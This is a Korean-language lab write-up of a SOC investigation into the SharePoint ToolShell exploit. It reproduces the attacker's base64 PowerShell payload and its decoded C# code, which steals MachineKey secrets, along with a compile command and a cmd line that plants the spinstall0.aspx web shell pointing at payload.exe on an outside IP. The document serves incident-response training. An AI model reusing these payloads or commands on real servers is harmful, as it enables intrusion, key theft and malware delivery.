LetsDefend 랩에서 CVE-2025-53770 (ToolShell)을 익스플로잇하는 단계별 가이드로, RCE, 웹 셸 배포, 침해 대응 분석을 다룹니다.
TL;DR 야, 이 LetsDefend 랩에서는 ToolShell(CVE-2025-53770)이라는 SharePoint 제로데이를 파고들었어. 기본적으로 악성 POST 요청이 인증을 우회하고, PowerShell을 실행하여 MachineKeySection 키를 탈취하고, payload.exe를 컴파일한 후 웹 셸(spinstall0.aspx)을 드롭하는 실제 공격을 모방했지. 모든 것을 기록하고, 행동을 분석하고, 호스트를 격리했어. 이 README는 공격, 내 단계, 그리고 얻은 교훈을 다루고 있어.
랩 개요
사용된 도구:
Windows PowerShell
VirusTotal
AbuseIPDB
LetsDefend 로그 관리
LetsDefend 엔드포인트 보안
LetsDefend 위협 인텔리전스


EventID : 320
Event Time : 2025년 7월 22일 오후 01:07
Rule : SOC342 - CVE‑2025‑53770 SharePoint ToolShell 인증 우회 및 RCE
Level : 보안 분석가
Hostname : SharePoint01
Source IP Address : 107.191.58.76
Destination IP Address : 172.16.20.17
HTTP 요청 방식 : POST
요청 URL : /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Referer : /_layouts/SignOut.aspx
Content-Length : 7699
경보 발생 이유 : 대량 페이로드와 위조된 referer를 동반한 ToolPane.aspx 대상의 의심스러운 인증되지 않은 POST 요청으로, CVE-2025-53770 악용을 암시함.
장치 조치 : 허용됨
개요 2025년 7월 22일, 보안 모니터링 시스템이 SharePoint01이라는 온프레미스 SharePoint 서버 인스턴스를 대상으로 하는 치명적인 제로데이 공격을 탐지했습니다.
CVE 세부 정보:
CISA KEV 카탈로그: 2025년 7월 20일 항목 게시됨
공격 벡터: /ToolPane.aspx 엔드포인트로의 POST 요청, 위조된 referer 헤더, 대량의 악성 페이로드
출처: IP 107.191.58.76, Vultr Holdings, LLC, 미국
SharePoint에 관하여 Microsoft SharePoint는 기업 협업 및 문서 관리의 중추입니다. 기본적으로 파일, 워크플로, 내부 앱을 위한 안전하고 체계적인 클라우드 같은 공간입니다.
핵심 용도:
문서 관리: 버전 관리, 감사 추적, 파일 제어
협업: 여러 사용자가 동시에 동일한 문서 편집
내부 웹 포털: 뉴스, 업데이트, 인사 정보, 정책
자동화된 워크플로: 승인, 양식, 알림
통합: Teams, Outlook, Office 제품군, Power BI와 긴밀하게 연결됨
보안 고려 사항:
인증: AD 또는 SSO
암호화: 저장 데이터 및 전송 데이터
웹 파트 및 레이아웃: 잘못 구성될 경우 악용 가능
패치 관리: 제로데이 공격 방지를 위해 중요
CVE-2025-53770 (ToolShell이라고도 함)은 실제 환경에서 악용된 SharePoint 제로데이입니다. 이는 온프레미스 Microsoft SharePoint 서버에서 인증되지 않은 원격 코드 실행(RCE)을 허용하는 치명적인 역직렬화 취약점입니다. 다른 SharePoint 결함(CVE-2025-49704 및 CVE-2025-49706)과 연계되어 시스템을 완전히 손상시킵니다. CVSS 점수는 9.8로, 치명적임을 의미합니다.
위조된 referer 헤더를 사용하여 ToolPane.aspx 엔드포인트를 통해 spinstall0.aspx와 같은 악성 웹 셸을 업로드하여 인증을 우회합니다.
SharePoint 구성에서 중요한 MachineKey 값을 추출하여 지속적인 액세스를 위한 신뢰할 수 있는 ViewState 페이로드를 생성합니다.
그리고 나중에 랜섬웨어(예: "Warlock" 변종)를 배포하거나 자격 증명을 유출하고 백도어를 설정합니다.
최초 공개: 2025년 7월 19일 (Microsoft 블로그)
패치 출시: 2025년 7월 20일–21일
CISA KEV 카탈로그 등록: 2025년 7월 20일
발신자의 IP 주소(Source IP Address)를 VirusTotal에서 분석했습니다.
Source IP Address : 107.191.58.76

이것만으로도 IP가 악성임을 알 수 있었습니다.
이제 AbuseIPDB를 사용하여 IP의 위치를 검색해야 합니다.

다음과 같은 결과를 얻었습니다.
ISP Vultr Holdings, LLC
Usage Type - 데이터 센터/웹 호스팅/트랜짓
ASN - AS20473
Hostname(s) - 107.191.58.76.vultrusercontent.com
Domain Name - vultr.com
Country - 미국
City - 캘리포니아주 로스앤젤레스
해킹, 무차별 대입, 웹 애플리케이션 공격, 포트 스캔, DNS 포이즈닝으로 알려진 IP
주니어 분석가로서 이 문제를 해결하는 방법 먼저 엔드포인트 보안에서 "SharePoint01"이라는 호스트를 검색했습니다.

호스트를 찾은 후 터미널 기록으로 이동하여 명령줄을 발견했습니다.

명령에서 무슨 일이 벌어지고 있나요?
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
→ 시스템 디렉토리에서 PowerShell을 직접 실행합니다.
-nop
→ 프로필 미사용 — 탐지나 간섭을 피하기 위해 PowerShell 프로필 스크립트를 무시합니다.
-w hidden
→ 숨겨진 창으로 실행되어 사용자가 볼 수 없습니다.
-e
이걸 디코딩해 봅시다.
"PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyk7DQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg=="
1단계: 정찰 및 페이로드 캡처
/ToolPane.aspx로의 POST 요청 캡처:
POST /_layouts/15/ToolPane.aspx HTTP/1.1 Host: sharepoint01.lab Content-Type: application/x-www-form-urlencoded Content-Length: 1452 Referer: http://sharepoint01.lab/_layouts/15/settings.aspx User-Agent: Mozilla/5.0 Payload=BASE64_ENCODED_POWERSHELL_PAYLOAD_HERE
방법: 인증을 우회하는 /ToolPane.aspx로의 POST 요청
페이로드: 대량의 난독화된 Base64 인코딩 PowerShell 스크립트
Referer 헤더: 출처를 숨기기 위해 위조됨
2단계: 실행 및 악용:
Base64 디코더에서 스크립트/페이로드를 디코딩했습니다.
base64로 디코딩하여 다음을 얻었습니다.
"<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
public void Page\_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object\[0]);
Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
}

위 스크립트가 무엇을 하는지 설명하겠습니다.
임포트:
-System.Diagnostics
-System.IO
⦁ 그런 다음 PowerShell 내에서 C# 인라인 스크립트를 실행합니다:
-System.Web 어셈블리를 로드
-System.Web.Configuration.MachineKeySection에 접근
-머신의 web.config에서 유효성 검사 및 암호 해독 키를 검색
-이를 응답에 작성하여 공격자에게 유출할 가능성이 높습니다.
공격자는 다음 명령을 계속 보냈습니다.
""C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs"
-csc.exe - .NET 프레임워크를 사용하는 C# 컴파일러
-그런 다음 컴파일러에게 이 "payload.exe"를 호스트에 저장하도록 지시
이 페이로드는 멀웨어일 수 있습니다.
공격자의 다음 명령줄
""C:\Windows\System32\cmd.exe" /c echo <form runat=\"server\"> <object classid=\"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11\"><param name=\"Command\" value=\"Redirect\"> <param name=\"Button\" value=\"Test\"> <param name=\"Url\" value=\"http://107.191.58.76/payload.exe\"></object></form> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx"
기능
"C:\Windows\System32\cmd.exe" /c -
명령 프롬프트에서 다음 명령을 실행한 후 종료합니다.
echo <form runat=\"server\"> ... </form>-
SharePoint 서버에서 실행될 ASP.NET 마크업의 작은 조각을 출력합니다.
마크업 내용:
<object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"> -
이 CLSID는 Shell ActiveX 컨트롤입니다(IE/COM 컨텍스트에서 셸 명령 실행 또는 특수 작업 수행에 사용).
<param name="Command" value="Redirect"> -
개체가 수행할 작업을 지정합니다.
<param name="Url" value="http://107.191.58.76/payload.exe"> -
원격 서버에 호스팅된 악성 EXE를 가리킵니다 — 실제 멀웨어일 가능성이 매우 높습니다.
공격자의 다음 명령줄
""C:\Windows\System32\cmd.exe" /c echo <form runat=\"server\"> <object classid=\"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11\"><param name=\"Command\" value=\"Redirect\"> <param name=\"Button\" value=\"Test\"> <param name=\"Url\" value=\"http://107.191.58.76/payload.exe\"></object></form> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx"
다시, 기능:
"C:\Windows\System32\cmd.exe" /c -
명령 프롬프트에서 다음 명령을 실행한 후 종료합니다.
echo <form runat=\"server\"> ... </form> -
SharePoint 서버에서 실행될 ASP.NET 마크업의 작은 조각을 출력합니다.
그리고 또한
마크업 내용:
<object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
이 CLSID는 Shell ActiveX 컨트롤입니다(IE/COM 컨텍스트에서 셸 명령 실행 또는 특수 작업 수행에 사용).
<param name="Command" value="Redirect">-
개체가 수행할 작업을 지정합니다.
<param name="Url" value="http://107.191.58.76/payload.exe"> -
원격 서버에 호스팅된 악성 EXE를 가리킵니다 — 실제 멀웨어일 가능성이 매우 높습니다.
> C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\16\\TEMPLATE\\LAYOUTS\\spinstall0.aspx -
전체 악성 HTML/ASP.NET 개체를 SharePoint의 layouts 폴더 안에 spinstall0.aspx로 저장합니다.
이 폴더의 모든 항목은 SharePoint 사이트의 적절한 URL을 탐색하여 접근할 수 있으므로, 공격자는 이제 서버에서 악성 동작을 트리거하는 웹 페이지를 가지게 됩니다.
찾은 명령줄은 아래와 같습니다:


위험하다는 것을 확인한 후, 호스트의 프로세스를 살펴보기로 했습니다.
수상해 보이며, 많은 파일 경로와 exe로 가득 차 있습니다.
호기심에 로그 관리로 가서 로그에서 악성 IP를 검색했습니다.
POST 요청이 포함된 원시 로그를 보았습니다.
referer - /_layouts/SignOut.aspx
공격이 성공했는지 확인했습니다.
그래요, 성공했었습니다. 이제 SOC2를 위해 격리해야 합니다.
이것이 제 분석가 노트입니다:
우리는 SharePoint01이라는 온프레미스 SharePoint 서버에서 ToolShell(CVE-2025-53770)이라는 제로데이 취약점을 악용하는 치명적인 공격을 발견했습니다. 알려진 악성 IP(107.191.58.76)에서 온 공격자는 대량의 페이로드를 포함한 인증되지 않은 POST 요청을 SharePoint 엔드포인트(ToolPane.aspx)로 보내 인증을 우회하고 서버에서 원격 코드를 실행했습니다.
더 깊이 파고들자, 공격자는 숨겨진 PowerShell 명령을 실행하여 base64 스크립트를 디코딩하고 중요한 SharePoint MachineKey 값을 탈취하여 신뢰할 수 있는 페이로드를 만들 수 있었습니다. 그들은 호스트에 악성 실행 파일을 컴파일한 다음 SharePoint의 layouts 폴더에 웹 셸(spinstall0.aspx)을 심어 서버에서 멀웨어를 다운로드하고 실행하게 하여 지속적인 백도어 접근을 가능하게 했습니다.
침해를 확인한 후, 영향을 받은 호스트를 격리하고 패치가 며칠 전에 출시되었으므로 즉시 패치를 적용할 것을 권장했습니다. 또한 다른 웹 셸을 스캔하고, 랜섬웨어 또는 데이터 도난을 모니터링하며, 추가 피해를 방지하기 위해 SharePoint 서버 주변의 보안을 강화할 것을 조언하고 있습니다.
그리고 팀에 보내는 메모:
팀에 메모: 안녕하세요 팀, 당사의 SharePoint 서버(SharePoint01)에서 ToolShell 제로데이(CVE-2025-53770)의 치명적인 악용을 탐지했습니다. 공격자는 인증되지 않은 POST 요청을 사용하여 인증을 우회하고 원격 코드를 실행했으며, ToolPane.aspx를 대상으로 하는 대량의 의심스러운 페이로드로 시작했습니다.
공격자는 숨겨진 PowerShell 명령을 실행하여 중요한 SharePoint 머신 키를 탈취한 다음 시스템에 악성 실행 파일을 컴파일하고 드롭했습니다. 또한 SharePoint layouts 폴더에 웹 셸(spinstall0.aspx)을 생성하여 외부 서버에서 멀웨어를 다운로드하고 실행하게 하여 잠재적으로 지속적인 제어권을 얻었습니다.
침해된 호스트를 격리했으며 패치가 막 출시되었으므로 긴급 패치를 권장합니다. 또한 유사한 웹 셸을 스캔하고 랜섬웨어 또는 데이터 유출 징후를 모니터링하고 있습니다. 앞으로도 경계를 늦추지 말고 SharePoint 보안을 강화합시다.
이것이 제 결과입니다.
